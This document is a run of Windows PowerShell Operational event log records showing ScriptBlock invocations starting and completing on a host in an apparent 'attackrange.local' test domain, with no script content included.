TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038533
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038527
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
